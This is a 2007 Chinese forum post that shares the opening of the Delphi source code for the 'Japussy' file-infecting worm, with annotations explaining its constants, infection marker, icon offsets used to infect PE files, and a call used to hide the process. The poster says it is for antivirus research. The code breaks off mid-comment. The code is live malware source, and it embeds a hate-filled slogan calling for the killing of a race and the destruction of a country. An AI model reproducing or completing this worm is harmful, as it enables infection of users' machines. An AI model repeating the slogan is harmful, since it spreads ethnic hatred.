发表于:2007-07-30 18:50:00
楼主
部分代码,仅供研究防毒之用,切勿用于非法用途.(为了易于理解与阅读,对源码做了改动---彩色部分)
病毒编写语言:Delphi
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const //定义程序中的数据常量
m_virussize = 82432; //病毒体的大小//原文是headersize
iconoffset = $12eb8; //pe文件主图标的偏移量//产生熊猫磕头动作
//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{ //中括号中的代码是对病毒的描述,不参与编译
m_virussize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记
//垃圾码,以备写入
catchword = if a race need to be killed out, it must be yamato. +//字符常量
if a country need to be destroyed, it must be japan! +
*** w32.japussy.worm.a ***;
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external kernel32.dll; //函数声明
var //程序变量声明
m_tmpfile: string;
m_si: startupinfo; //系统启动信息类型数据
pi: process_information;//标记进程句柄与运行ID信息的数据类
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo; //tosversioninfo是表示系统版本的结构类型,他在C++中结构为---
{typedef struct _OSVERSIONINFO{ DWORD dwOSVersionInfoSize; //指定该数据结构的字节大小 DWORD dwMajorVersion; //操作系统的主版本号 &n